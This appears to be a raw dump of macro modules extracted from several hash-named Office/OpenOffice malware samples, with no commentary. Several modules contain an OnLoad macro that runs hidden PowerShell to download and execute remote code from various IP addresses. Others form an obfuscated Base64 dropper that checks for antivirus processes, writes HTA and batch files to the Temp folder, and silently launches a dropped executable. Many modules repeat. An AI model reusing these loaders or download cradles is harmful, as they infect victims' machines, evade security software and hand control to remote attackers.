| If True = IsExeRunning("mbamtray" & nuchevi) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1s.bat" For Output As #1 | |
| Print #1, StrConv(DecodeBase64("cGluZyBsb2NhbGhvc3QgLW4gNjA="), vbUnicode), vbHide | |
| Print #1, StrConv(DecodeBase64("c3RhcnQgJXRlbXAlXDYucGlm"), vbUnicode), vbHide | |
| Close | |
| Shell Environ("T" & "e" & "m" & "p") & "\1s.bat", vbHide | |
| Exit Sub | |
| End If | |
| Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("X" & "DYuc" & "Glm"), vbUnicode), vbHide | |
| End Sub | |
| Sub fadf() | |
| Dim pl, kk, gdfsfsa | |
| kk = ".com" | |
| pl = kk | |
| FileCopy "4CB52522" & pl, "6" & ".pif" | |
| End Sub | |
| Sub sdfsdf() | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| Call kklk | |
| Call fadf | |
| Selection.TypeBackspace | |
| End Sub | |
| Sub kklk() | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| Dim kk, lll, jgf, tyretw, gdfsfsa | |
| jgf = StrConv(DecodeBase64("ZXhl"), vbUnicode) | |
| kk = ".com" | |
| lll = "6" | |
| FileCopy "4CB52522" & kk, lll & "." & jgf | |
| End Sub | |
| Private Function DecodeBase64(ByVal strData As String) As Byte() | |
| Dim objXML As MSXML2.DOMDocument | |
| Dim objNode As MSXML2.IXMLDOMElement | |
| Set objXML = New MSXML2.DOMDocument | |
| Set objNode = objXML.createElement("b64") | |
| objNode.DataType = "bin.base64" | |
| objNode.Text = strData | |
| DecodeBase64 = objNode.nodeTypedValue | |
| Set objNode = Nothing | |
| Set objXML = Nothing | |
| End Function | |
| Public Function IsExeRunning(sExeName As String, Optional sComputer As String = ".") As Boolean | |
| Dim objProcesses As Object | |
| Set objProcesses = GetObject("w" & "in" & "mg" & "mts" & ":{impersonationLevel=impersonate}!\\" & sComputer & "\root\cimv2").ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & sExeName & "'") | |
| If objProcesses.Count <> 0 Then IsExeRunning = True | |
| End Function | |
| </script:module>7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\xcvxvxv.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="xcvxvxv" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub cek() | |
| ActiveSheet.Shapes.Range(Array("Object 3")).Select | |
| Selection.Delete | |
| Selection.Cut | |
| Set D = New DataObject | |
| D.SetText " " | |
| D.PutInClipboard | |
| Selection.MoveUp Unit:=wdScreen, Count:=7 | |
| Selection.MoveUp Unit:=wdScreen, Count:=7 | |
| Selection.MoveLeft Unit:=wdCharacter, Count:=13 | |
| Dim t As Date | |
| t = Now | |
| Do | |
| DoEvents | |
| Loop Until Now >= DateAdd("s", 3, t) | |
| End Sub | |
| </script:module>7c0e85c0a4d96080ca341d3496743f0f113b17613660812d40413be6d453eab4.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $D=new-object net.webclient;$D.proxy=[Net.WebRequest]::GetSystemWebProxy();$D.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $D.downloadstring('http://10.0.2.15:8080/Lo18fuM');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| 8d59f1e2abcab9efb7f833d478d1d1390e7456092f858b656ee0024daf3d1aa3.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $z=new-object net.webclient;$z.proxy=[Net.WebRequest]::GetSystemWebProxy();$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $z.downloadstring('http://192.168.0.110:8080/zww7wy77gChQ');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| 9846b942d9d1e276c95361180e9326593ea46d3abcce9c116c204954bbfe3fdc.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $O.downloadstring('http://192.168.1.34:8080/nO74BAJIDi0qEpY');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| aa0c83f339c8c16ad21dec41e4605d4e327adbbb78827dcad250ed64d2ceef1c.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $U=new-object net.webclient;$U.proxy=[Net.WebRequest]::GetSystemWebProxy();$U.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $U.downloadstring('http://183.83.92.207:8080/uHVBk8zCZ0');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| b0be54c7210b06e60112a119c235e23c9edbe40b1c1ce1877534234f82b6b302.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $t=new-object net.webclient;$t.proxy=[Net.WebRequest]::GetSystemWebProxy();$t.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $t.downloadstring('http://192.168.0.144:8080/TAJpD11p');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| bf581ebb96b8ca4f254ab4d200f9a053aff8187715573d9a1cbd443df0f554e3.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $I=new-object net.webclient;$I.proxy=[Net.WebRequest]::GetSystemWebProxy();$I.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $I.downloadstring('http://192.168.0.127:8080/rRQcLdFIvtsT');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| de45634064af31cb6768e4912cac284a76a6e66d398993df1aeee8ce26e0733b.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://192.168.146.129:8080/wToXrkJn');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| 7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\bcbcbcb.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="bcbcbcb" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub closee() | |
| Dim jddsdfda As String | |
| jddsdfda = UserForm5.TextBox1.Text | |
| Dim yrtfdsad, vcxvxczcv | |
| Dim mbbmbdf | |
| Dim nuchevi | |
| nuchevi = UserForm6.TextBox1.Text | |
| Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text & UserForm4.TextBox1.Text & UserForm2.TextBox1.Text) | |
| Dim lhjxvcvx | |
| lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode) | |
| Dim kkkdds | |
| kkkdds = StrConv(DecodeBase64("PGh" & "0bWw+DQo8" & "aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode) | |
| If True = IsExeRunning(jddsdfda) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1.hta" For Output As #1 | |
| Print #1, kkkdds | |
| Print #1, lhjxvcvx | |
| Close #1 | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| wsh.Run Environ("T" & "e" & "m" & "p") & "\1.hta", 0, False | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("PS" & "UAM" & "ain" & nuchevi) Then | |
| Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("n360" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("PccNT" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("uiSeAgnt" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("mbam" & nuchevi) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1s.bat" For Output As #1 | |
| Print #1, StrConv(DecodeBase64("cGluZyBsb2NhbGhvc3QgLW4gNjA="), vbUnicode), vbHide | |
| Print #1, StrConv(DecodeBase64("c3RhcnQgJXRlbXAlXDYucGlm"), vbUnicode), vbHide | |
| Close | |
| Shell Environ("T" & "e" & "m" & "p") & "\1s.bat", vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("mbamtray" & nuchevi) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1s.bat" For Output As #1 | |
| Print #1, StrConv(DecodeBase64("cGluZyBsb2NhbGhvc3QgLW4gNjA="), vbUnicode), vbHide | |
| Print #1, StrConv(DecodeBase64("c3RhcnQgJXRlbXAlXDYucGlm"), vbUnicode), vbHide | |
| Close | |
| Shell Environ("T" & "e" & "m" & "p") & "\1s.bat", vbHide | |
| Exit Sub | |
| End If | |
| Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("X" & "DYuc" & "Glm"), vbUnicode), vbHide | |
| End Sub | |
| Sub fadf() | |
| Dim pl, kk, gdfsfsa | |
| kk = ".com" | |
| pl = kk | |
| FileCopy "4CB52522" & pl, "6" & ".pif" | |
| End Sub | |
| Sub sdfsdf() | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| Call kklk | |
| Call fadf | |
| Selection.TypeBackspace | |
| End Sub | |
| Sub kklk() | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| Dim kk, lll, jgf, tyretw, gdfsfsa | |
| jgf = StrConv(DecodeBase64("ZXhl"), vbUnicode) | |
| kk = ".com" | |
| lll = "6" | |
| FileCopy "4CB52522" & kk, lll & "." & jgf | |
| End Sub | |
| Private Function DecodeBase64(ByVal strData As String) As Byte() | |
| Dim objXML As MSXML2.DOMDocument | |
| Dim objNode As MSXML2.IXMLDOMElement | |
| Set objXML = New MSXML2.DOMDocument | |
| Set objNode = objXML.createElement("b64") | |
| objNode.DataType = "bin.base64" | |
| objNode.Text = strData | |
| DecodeBase64 = objNode.nodeTypedValue | |
| Set objNode = Nothing | |
| Set objXML = Nothing | |
| End Function | |
| Public Function IsExeRunning(sExeName As String, Optional sComputer As String = ".") As Boolean | |
| Dim objProcesses As Object | |
| Set objProcesses = GetObject("w" & "in" & "mg" & "mts" & ":{impersonationLevel=impersonate}!\\" & sComputer & "\root\cimv2").ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & sExeName & "'") | |
| If objProcesses.Count <> 0 Then IsExeRunning = True | |
| End Function | |
| 7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\gfddfgd.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="gfddfgd" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub killo() | |
| Call closee | |
| Application.DisplayAlerts = False | |
| ActiveWorkbook.SaveAs ActiveWorkbook.FullName, FileFormat:=51 | |
| Application.Quit | |
| End Sub | |
| 7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\script-lb.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd"> | |
| <library:library xmlns:library="http://openoffice.org/2000/library" library:name="VBAProject" library:readonly="false" library:passwordprotected="false"> | |
| <library:element library:name="UserForm1"/> | |
| <library:element library:name="UserForm2"/> | |
| <library:element library:name="UserForm3"/> | |
| <library:element library:name="UserForm4"/> | |
| <library:element library:name="UserForm5"/> | |
| <library:element library:name="UserForm6"/> | |
| <library:element library:name="bcbcbcb"/> | |
| <library:element library:name="gfddfgd"/> | |
| <library:element library:name="xcvxvxv"/> | |
| <library:element library:name="ЛиÑÑ‚1"/> | |
| <library:element library:name="ÐтаКнига"/> | |
| 7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\xcvxvxv.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="xcvxvxv" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub cek() | |
| ActiveSheet.Shapes.Range(Array("Object 3")).Select | |
| Selection.Delete | |
| Selection.Cut | |
| Set D = New DataObject | |
| D.SetText " " | |
| D.PutInClipboard | |
| Selection.MoveUp Unit:=wdScreen, Count:=7 | |
| Selection.MoveUp Unit:=wdScreen, Count:=7 | |
| Selection.MoveLeft Unit:=wdCharacter, Count:=13 | |
| Dim t As Date | |
| t = Now | |
| Do | |
| DoEvents | |
| Loop Until Now >= DateAdd("s", 3, t) | |
| End Sub | |
| 7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\????1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="ЛиÑÑ‚1" script:language="StarBasic" script:moduleType="document">Rem Attribute VBA_ModuleType=VBADocumentModule | |
| Option VBASupport 1 | |
| 7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\????????.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="bcbcbcb" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub closee() | |
| Dim jddsdfda As String | |
| jddsdfda = UserForm5.TextBox1.Text | |
| Dim yrtfdsad, vcxvxczcv | |
| Dim mbbmbdf | |
| Dim nuchevi | |
| nuchevi = UserForm6.TextBox1.Text | |
| Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text & UserForm4.TextBox1.Text & UserForm2.TextBox1.Text) | |
| Dim lhjxvcvx | |
| lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode) | |
| Dim kkkdds | |
| kkkdds = StrConv(DecodeBase64("PGh" & "0bWw+DQo8" & "aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode) | |
| If True = IsExeRunning(jddsdfda) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1.hta" For Output As #1 | |
| Print #1, kkkdds | |
| Print #1, lhjxvcvx | |
| Close #1 | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| wsh.Run Environ("T" & "e" & "m" & "p") & "\1.hta", 0, False | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("PS" & "UAM" & "ain" & nuchevi) Then | |
| Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("n360" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("PccNT" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("uiSeAgnt" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("mbam" & nuchevi) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1s.bat" For Output As #1 | |
| Print #1, StrConv(DecodeBase64("cGluZyBsb2NhbGhvc3QgLW4gNjA="), vbUnicode), vbHide | |
| Print #1, StrConv(DecodeBase64("c3RhcnQgJXRlbXAlXDYucGlm"), vbUnicode), vbHide | |
| Close | |
| Shell Environ("T" & "e" & "m" & "p") & "\1s.bat", vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("mbamtray" & nuchevi) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1s.bat" For Output As #1 | |
| Print #1, StrConv(DecodeBase64("cGluZyBsb2NhbGhvc3QgLW4gNjA="), vbUnicode), vbHide | |
| Print #1, StrConv(DecodeBase64("c3RhcnQgJXRlbXAlXDYucGlm"), vbUnicode), vbHide | |
| Close | |
| Shell Environ("T" & "e" & "m" & "p") & "\1s.bat", vbHide | |
| Exit Sub | |
| End If | |
| Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("X" & "DYuc" & "Glm"), vbUnicode), vbHide | |
| End Sub | |
| Sub fadf() | |
| Dim pl, kk, gdfsfsa | |
| kk = ".com" | |
| pl = kk | |
| FileCopy "4CB52522" & pl, "6" & ".pif" | |
| End Sub | |
| Sub sdfsdf() | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| Call kklk | |
| Call fadf | |
| Selection.TypeBackspace | |
| End Sub | |
| Sub kklk() | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| Dim kk, lll, jgf, tyretw, gdfsfsa | |
| jgf = StrConv(DecodeBase64("ZXhl"), vbUnicode) | |
| kk = ".com" | |
| lll = "6" | |
| FileCopy "4CB52522" & kk, lll & "." & jgf | |
| End Sub | |
| Private Function DecodeBase64(ByVal strData As String) As Byte() | |
| Dim objXML As MSXML2.DOMDocument | |
| Dim objNode As MSXML2.IXMLDOMElement | |
| Set objXML = New MSXML2.DOMDocument | |
| Set objNode = objXML.createElement("b64") | |
| objNode.DataType = "bin.base64" | |
| objNode.Text = strData | |
| DecodeBase64 = objNode.nodeTypedValue | |
| Set objNode = Nothing | |
| Set objXML = Nothing | |
| End Function | |
| Public Function IsExeRunning(sExeName As String, Optional sComputer As String = ".") As Boolean | |
| Dim objProcesses As Object | |
| Set objProcesses = GetObject("w" & "in" & "mg" & "mts" & ":{impersonationLevel=impersonate}!\\" & sComputer & "\root\cimv2").ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & sExeName & "'") | |
| If objProcesses.Count <> 0 Then IsExeRunning = True | |
| End Function | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="gfddfgd" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub killo() | |
| Call closee | |
| Application.DisplayAlerts = False | |
| ActiveWorkbook.SaveAs ActiveWorkbook.FullName, FileFormat:=51 | |
| Application.Quit | |
| End Sub | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd"> | |
| <library:library xmlns:library="http://openoffice.org/2000/library" library:name="VBAProject" library:readonly="false" library:passwordprotected="false"> | |
| <library:element library:name="UserForm1"/> | |
| <library:element library:name="UserForm2"/> | |
| <library:element library:name="UserForm3"/> | |
| <library:element library:name="UserForm4"/> | |
| <library:element library:name="UserForm5"/> | |
| <library:element library:name="UserForm6"/> | |
| <library:element library:name="bcbcbcb"/> | |
| <library:element library:name="gfddfgd"/> | |
| <library:element library:name="xcvxvxv"/> | |
| <library:element library:name="ЛиÑÑ‚1"/> | |
| <library:element library:name="ÐтаКнига"/> | |
| </library:library><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm5" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
